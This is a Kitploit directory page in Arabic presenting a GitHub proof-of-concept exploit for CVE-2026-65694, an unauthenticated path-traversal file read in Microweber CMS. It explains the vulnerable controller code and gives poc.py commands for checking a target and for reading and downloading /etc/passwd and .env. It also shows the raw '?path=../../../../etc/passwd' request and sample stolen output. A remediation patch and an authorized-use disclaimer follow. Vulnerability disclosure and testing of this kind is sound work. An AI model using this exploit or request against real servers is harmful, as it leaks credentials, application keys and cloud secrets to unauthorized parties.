Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتالتعلم والتعليم
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

PoC لثغرة CVE-2026-65694 — Microweber CMS (<=2.0.20) اجتياز المسار بدون مصادقة → قراءة ملفات عشوائية (.env / الأسرار)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
12منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-65694 — قراءة ملفات تعسفية غير مصادق عليها في Microweber CMS

إثبات مفهوم لـ CVE-2026-65694، وهي ثغرة اجتياز مسار غير مصادق عليها ← قراءة ملفات تعسفية في Microweber CMS.

يمكن لمهاجم غير مصادق قراءة أي ملف يمكن لمستخدم خادم الويب الوصول إليه — ملف Laravel .env (APP_KEY، بيانات اعتماد قاعدة البيانات، أسرار البريد/السحابة)، /etc/passwd، السجلات، المفاتيح، الإعدادات غير .php، إلخ — عبر المسار العام GET /userfiles/{path}.

  • CVE: CVE-2026-65694
  • النوع: اجتياز المسار ← قراءة ملفات تعسفية غير مصادق عليها (CWE-22 / CWE-23)
  • الخطورة: عالية — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • المتأثر: Microweber ≤ 2.0.20 و master الحالي (السطر القابل للاستغلال ما زال موجودًا)
  • المصادقة: بدون مصادقة

السبب الجذري

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

يتم تسجيل المسار بدون مصادقة:

root@kitploit:~
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

مشكلتان تتضافران:

  1. تجاوز المدخلات. $request->path (الوصول عبر الخاصية، وليس عبر الطريقة $request->path()) يُحل عبر Request::__get في Laravel ← Arr::get($this->all(), 'path', fn() => $this->route('path')). لذا فإن معامل الاستعلام ?path= يتجاوز جزء المسار {path} — وقيم الاستعلام لا تخضع لتطبيع .. الذي يطبّقه المتصفح/الخادم على مسار URL.
  2. لا تطبيع. تقوم normalize_path() فقط بضغط الشرطات المائلة؛ ولا تزيل أو تحل .. مطلقًا، ولا يوجد أي تحقق من بقاء المسار المُحل داخل userfiles_path(). ومن ثم تقوم طبقة الملفات في PHP بحل تسلسلات .. على نظام الملفات.

يمنع المتحكم فقط الامتدادات .php و .phtml و .php7 (skip_ext)، لذا لا يمكن قراءة كود PHP مباشرة — لكن كل ما عدا ذلك قابل للقراءة (.env، /etc/passwd، السجلات، المفاتيح، قواعد بيانات SQLite، إعدادات JSON/YAML، …).

المتطلبات

root@kitploit:~
pip install -r requirements.txt

قابلة للاستغلال في أي نشر يستخدم جذر المستندات الموصى به public/ (ملف public/.htaccess المرفق مع Microweber، أو وحدة تحكم أمامية nginx try_files $uri /index.php)، حيث يقع userfiles/ خارج جذر الويب ويتم توجيه /userfiles/* إلى موجه Laravel.

الاستخدام

ثلاثة إجراءات:

root@kitploit:~
python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk

يتم اكتشاف عمق الاجتياز تلقائيًا (زيادة ../ حتى يتم تقديم الملف)؛ يمكن تجاوزه باستخدام --depth N. مرر عبر Burp باستخدام --proxy http://127.0.0.1:8080. أضف -v لعرض الطلب الخام.

مثال

root@kitploit:~
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

الطلب الأساسي هو ببساطة:

root@kitploit:~
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

التأثير

قراءة ملفات تعسفية بدون مصادقة. تسريب ملف Laravel .env يمنح المهاجم APP_KEY (تزوير الجلسات/الكوكيز)، وبيانات اعتماد قاعدة البيانات، وكلمة مرور البريد، ومفاتيح السحابة — ما يعادل اختراقًا كاملاً لأسرار المثيل.

المعالجة

اقرأ معامل المسار المرتبط بدلاً من خاصية الإدخال، وطبّع باستخدام realpath()، وتحقق من بقاء المسار المُحل داخل userfiles_path():

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

الاعتمادات

اكتشفها وأبلغ عنها Bobur Abdugafforov. تم تعيين CVE-2026-65694 عبر VulnCheck.

إخلاء المسؤولية

للاستخدام في الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

تنزيل الأداة
Flagالإجراء
--checkالإبلاغ عما إذا كان الهدف قابلاً للاستغلال (نعم/لا)، دون تفريغ البيانات
-r, --read FILEقراءة ملف وطباعته إلى stdout
-d, --download FILEقراءة ملف وحفظه محليًا (يحدد -o/--output الاسم)